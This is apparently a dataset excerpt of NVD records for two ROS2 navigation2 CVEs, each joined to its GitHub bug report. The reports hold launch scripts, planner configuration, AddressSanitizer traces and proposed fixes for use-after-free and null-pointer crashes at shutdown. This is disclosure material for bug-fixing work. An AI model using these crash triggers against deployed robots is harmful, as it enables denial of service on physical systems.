shutdown behavior for the service. https://github.com/ros-navigation/navigation2/blob/9fbae3e66ecc3b7315ca7cbb070468a564f5e111/nav2_costmap_2d/include/nav2_costmap_2d/clear_costmap_service.hpp#L38-L59 [Notice.1.]: In ROS2, the service is a smart pointer, which means that if the callback function is still executing, the smart pointer of this service will not be automatically released, and its execution thread will not automatically exit but will continue to perform tasks. 2. This function accesses the `inflation_layer_`, which is a plugin belonging to `costmap_ros_`. The call stack for the access is: `clearEntireCallback()` -> `costmap_ros_->resetLayers()`. At this point, pointers to plugins are obtained from `costmap_ros_`'s `layered_costmap_` and read: https://github.com/ros-navigation/navigation2/blob/9fbae3e66ecc3b7315ca7cbb070468a564f5e111/nav2_costmap_2d/src/costmap_2d_ros.cpp#L667-L686 `inflation_layer_` is one of these plugins, which means access to the address of `inflation_layer_` starts here. 3. During the `on_cleanup()` process of the `costmap_ros_` node, `inflation_layer_` is released: As a member of `layered_costmap_`, `inflation_layer_` is released along with `layered_costmap_.reset()`: https://github.com/ros-navigation/navigation2/blob/9fbae3e66ecc3b7315ca7cbb070468a564f5e111/nav2_costmap_2d/src/costmap_2d_ros.cpp#L364 It is worth noting that `costmap_ros_->resetLayers()` accesses pointers to the vector (non-smart pointers), and this vector is also released along with `layered_costmap_.reset()`, causing the reference count of the smart pointer pointing to `inflation_layer_` to drop to zero, thereby releasing `inflation_layer_`. 4. At this point, `inflation_layer_` is released, but the `clearEntireCallback()` thread that accesses `inflation_layer_` does not stop, leading to the use-after-free bug. ##### suggestion: Shall we actively close the service created by `ClearCostmapService` in its destructor like following ? ```cpp ClearCostmapService::~ClearCostmapService(){ // shutdown services : clear_except_service_, clear_around_service_, clear_entire_service_ } ``` or provide a lifecyle for `ClearCostmapService()`: ```cpp void ClearCostmapService::deactivate(){ // shutdown services : clear_except_service_, clear_around_service_, clear_entire_service_ } ```

[nav2_costmap] UAF bug caused by the exit mechanism flaw in class `ClearCostmapService`

https://api.github.com/repos/ros-navigation/navigation2/issues/4489/comments

1

2024-06-25T10:24:22Z

2024-06-26T16:32:10Z

https://github.com/ros-navigation/navigation2/issues/4489

2,372,307,138

4,489

6,456

CVE-2024-44852

2024-12-06T22:15:21.277

Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble was discovered to contain a segmentation violation via the component theta_star::ThetaStar::isUnsafeToPlan().

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[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/open-navigation/navigation2/issues/4464" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4463" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/open-navigation/navigation2/issues/4464" } ]

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[ "763" ]

763

https://github.com/open-navigation/navigation2/issues/4464

[ "Exploit", "Issue Tracking" ]

github.com

[ "open-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  ubuntu 22.04 - ROS2 Version: -  humble OR Iron - Version or commit hash: -  the latest - DDS implementation: -  the defaulted #### Steps to reproduce issue  Launch the navigation2 as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` use the `nav2_theta_planner` as plugin within following configuration (provided by nav2): ```yaml planner_server: ros__parameters: GridBased: allow_unknown: true how_many_corners: 8 plugin: nav2_theta_star_planner/ThetaStarPlanner w_euc_cost: 1.0 w_heuristic_cost: 1.0 w_traversal_cost: 2.0 expected_planner_frequency: 20.0 planner_plugins: - GridBased use_sim_time: true ``` #### Expected behavior no bug occured. #### Actual behavior the Asan report of this bug is as following: ``` ================================================================= ==246470==ERROR: AddressSanitizer: SEGV on unknown address 0x79a22b50dd3e (pc 0x79a203520cba bp 0x0f232c45f33e sp 0x79a1f416fdc8 T23) ==246470==The signal is caused by a READ memory access. #1 0x79a1ff06e131 in theta_star::ThetaStar::isUnsafeToPlan() const (/home/*****/nav2_humble/install/nav2_theta_star_planner/lib/libnav2_theta_star_planner.so+0x10131) (BuildId: e3029bbfc001317531dc7cd46f6c716d13f4a348) #2 0x79a1ff06d1f1 in nav2_theta_star_planner::ThetaStarPlanner::getPlan(nav_msgs::msg::Path_<std::allocator<void> >&) (/home/*****/nav2_humble/install/nav2_theta_star_planner/lib/libnav2_theta_star_planner.so+0xf1f1) (BuildId: e3029bbfc001317531dc7cd46f6c716d13f4a348) #3 0x79a1ff06ca71 in nav2_theta_star_planner::ThetaStarPlanner::createPlan(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&) (/home/*****/nav2_humble/install/nav2_theta_star_planner/lib/libnav2_theta_star_planner.so+0xea71) (BuildId: e3029bbfc001317531dc7cd46f6c716d13f4a348) #4 0x79a203b78cf4 in nav2_planner::PlannerServer::getPlan(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x178cf4) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #5 0x79a203b6a10d in nav2_planner::PlannerServer::computePlan() (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x16a10d) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #6 0x79a203c49963 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::work() (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x249963) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #7 0x79a203c48cd4 in std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>::operator()() const (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x248cd4) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #8 0x79a203c489e7 in std::enable_if<is_invocable_r_v<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>&>, std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> >::type std::__invoke_r<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>&>(std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x2489e7) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #9 0x79a203c48828 in std::_Function_handler<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> (), std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void> >::_M_invoke(std::_Any_data const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x248828) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #10 0x79a203c483ef in std::__future_base::_State_baseV2::_M_do_set(std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()>*, bool*) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x2483ef) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #11 0x79a201a99ee7 in __pthread_once_slow nptl/./nptl/pthread_once.c:116:7 #12 0x79a203c463f1 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>::_M_run() (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x2463f1) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #13 0x79a201edc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #14 0x79a201a94ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #15 0x79a201b2684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0xc3cba) (BuildId: ae00021bac019132f382130b42d6275d543c55a4) in nav2_costmap_2d::Costmap2D::getCost(unsigned int, unsigned int) const Thread T23 created by T15 here: #0 0x5d5b05e5687c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0x9387c) (BuildId: 191f253724b34c41ec9522f9202cc91f782cabef) #1 0x79a201edc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x79a203c45d52 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>::_Async_state_impl<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()>(nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x245d52) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #3 0x79a203c454f8 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>, std::allocator<void>, nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()>(std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>*&, std::_Sp_alloc_shared_tag<std::allocator<void> >, nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x2454f8) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #4 0x79a203c436a3 in std::future<std::__invoke_result<std::decay<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()>::type>::type> std::async<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()>(std::launch, nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x2436a3) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #5 0x79a203c2c3e9 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x22c3e9) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #6 0x79a203c4e9f7 in void std::__invoke_impl<void, void (nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >), nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> > >(std::__invoke_memfun_deref, void (nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >), nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x24e9f7) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #7 0x79a203c33f46 in rclcpp_action::Server<nav2_msgs::action::ComputePathToPose>::call_goal_accepted_callback(std::shared_ptr<rcl_action_goal_handle_s>, std::array<unsigned char, 16ul>, std::shared_ptr<void>) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x233f46) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #8 0x79a203180246 in rclcpp_action::ServerBase::execute_goal_request_received(std::shared_ptr<void>&) (/opt/ros/humble/lib/librclcpp_action.so+0x13246) (BuildId: 4dfcc4cee7010878193255b3a622d5194654caa8) Thread T15 created by T0 here: #0 0x5d5b05e5687c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0x9387c) (BuildId: 191f253724b34c41ec9522f9202cc91f782cabef) #1 0x79a201edc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x79a203c28004 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::SimpleActionServer(std::shared_ptr<rclcpp::node_interfaces::NodeBaseInterface>, std::shared_ptr<rclcpp::node_interfaces::NodeClockInterface>, std::shared_ptr<rclcpp::node_interfaces::NodeLoggingInterface>, std::shared_ptr<rclcpp::node_interfaces::NodeWaitablesInterface>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x228004) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #3 0x79a203c25865 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::SimpleActionServer<std::shared_ptr<nav2_util::LifecycleNode> >(std::shared_ptr<nav2_util::LifecycleNode>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x225865) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #4 0x79a203b69408 in std::__detail::_MakeUniq<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose> >::__single_object std::make_unique<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>, std::shared_ptr<nav2_util::LifecycleNode>, char const (&) [21], std::_Bind<void (nav2_planner::PlannerServer::* (nav2_planner::PlannerServer*))()>, std::nullptr_t, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool>(std::shared_ptr<nav2_util::LifecycleNode>&&, char const (&) [21], std::_Bind<void (nav2_planner::PlannerServer::* (nav2_planner::PlannerServer*))()>&&, std::nullptr_t&&, std::chrono::duration<long, std::ratio<1l, 1000l> >&&, bool&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x169408) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #5 0x79a203b63ee4 in nav2_planner::PlannerServer::on_configure(rclcpp_lifecycle::State const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x163ee4) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #6 0x79a202f7d8ec (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x288ec) (BuildId: 97f6428dc1ee45fd402b522b3b8e6b4fcfeabe76) ==246470==ABORTING ``` #### Additional information  ---- ##### It's a shutdown-issue First, based on my execution logs, I can confirm this is a shutdown issue. ##### It's additional tickets related to #4463, which behaviors in `nav2_theta_planner` Below is an analysis of the cause of this bug: The `action_server_` binds the `nav2_planner::PlannerServer::computePlan()` function as a callback function, and using the `nav2_theta_star_planner->getPlan()` , which may access the early shutdown `costmap_ros_`: https://github.com/ros-navigation/navigation2/blob/9fbae3e66ecc3b7315ca7cbb070468a564f5e111/nav2_theta_star_planner/src/theta_star_planner.cpp#L181-L190 ##### This issue would be fixed in humble by PR #4463 ##### This issue would be fixed in Iron by my later PR

Invalidate Pointer Accessed during `isUnsafeToPlan()` calculation of `nav2_theta_planner`

https://api.github.com/repos/ros-navigation/navigation2/issues/4464/comments

1

2024-06-24T12:40:53Z

2024-06-24T12:43:37Z

https://github.com/ros-navigation/navigation2/issues/4464

2,370,151,679

4,464

6,457

CVE-2024-44853

2024-12-06T22:15:21.390

Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble was discovered to contain a NULL pointer dereference via the component computeControl().

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4547" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4548" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4547" } ]

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[ "476" ]

476

https://github.com/ros-navigation/navigation2/issues/4547

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  ubuntu 22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  the defaulted #### Steps to reproduce issue  ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` #### Expected behavior no NullPtr bug occured. #### Actual behavior the Asan report of this NullPtr bug is as following: ``` ```asan ================================================================= ==1299274==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000048 (pc 0x7d687bb4f148 bp 0x7d6870d9c2d0 sp 0x7d6870d960b8 T17) ==1299274==The signal is caused by a READ memory access. ==1299274==Hint: address points to the zero page. #0 0x7d687bb4f148 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (/lib/x86_64-linux-gnu/libstdc++.so.6+0x14f148) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #1 0x7d687c285db7 in nav2_controller::ControllerServer::computeControl() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x285db7) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #2 0x7d687c43c237 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::work() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x43c237) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #3 0x7d687c43b5f8 in std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::operator()() const (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x43b5f8) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #4 0x7d687c43b319 in std::enable_if<is_invocable_r_v<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&>, std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> >::type std::__invoke_r<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&>(std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x43b319) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #5 0x7d687c43b1a0 in std::_Function_handler<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> (), std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void> >::_M_invoke(std::_Any_data const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x43b1a0) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #6 0x7d687d9a6b96 in std::__future_base::_State_baseV2::_M_do_set(std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()>*, bool*) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_util/lib/libnav2_util_core.so+0x7fb96) (BuildId: 1d6c0d5217ab4e048e9a7919e1f2eabd3bac7da1) #7 0x7d687b699ee7 in __pthread_once_slow nptl/./nptl/pthread_once.c:116:7 #8 0x7d687c438f7a in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::_M_run() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x438f7a) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #9 0x7d687badc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #10 0x7d687b694ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #11 0x7d687b72684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libstdc++.so.6+0x14f148) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) Thread T17 created by T15 here: #0 0x564d68df07cc in __interceptor_pthread_create (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/nav2_controller/controller_server+0x937cc) (BuildId: 515adbb6bba3b92bb8cf7f447df0b7df8eabaf6d) #1 0x7d687badc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7d687c4388f9 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::_Async_state_impl<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x4388f9) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #3 0x7d687c43811c in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>, std::allocator<void>, 